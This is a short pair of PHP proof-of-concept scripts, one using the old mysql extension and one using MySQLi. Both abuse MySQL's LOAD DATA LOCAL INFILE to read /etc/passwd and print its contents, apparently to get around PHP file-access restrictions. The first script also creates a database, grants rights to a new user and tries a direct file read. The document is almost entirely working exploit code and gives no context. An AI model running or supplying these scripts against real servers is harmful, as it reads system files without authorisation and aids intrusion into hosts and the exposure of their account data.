<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>